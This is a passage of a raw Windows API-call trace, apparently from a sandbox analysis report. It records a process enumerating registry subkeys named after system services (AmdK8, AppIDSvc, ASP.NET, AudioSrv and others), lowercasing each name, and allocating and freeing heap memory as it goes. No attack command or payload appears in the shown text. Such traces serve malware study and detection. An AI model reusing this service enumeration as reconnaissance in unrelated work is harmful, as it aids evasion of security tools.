lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 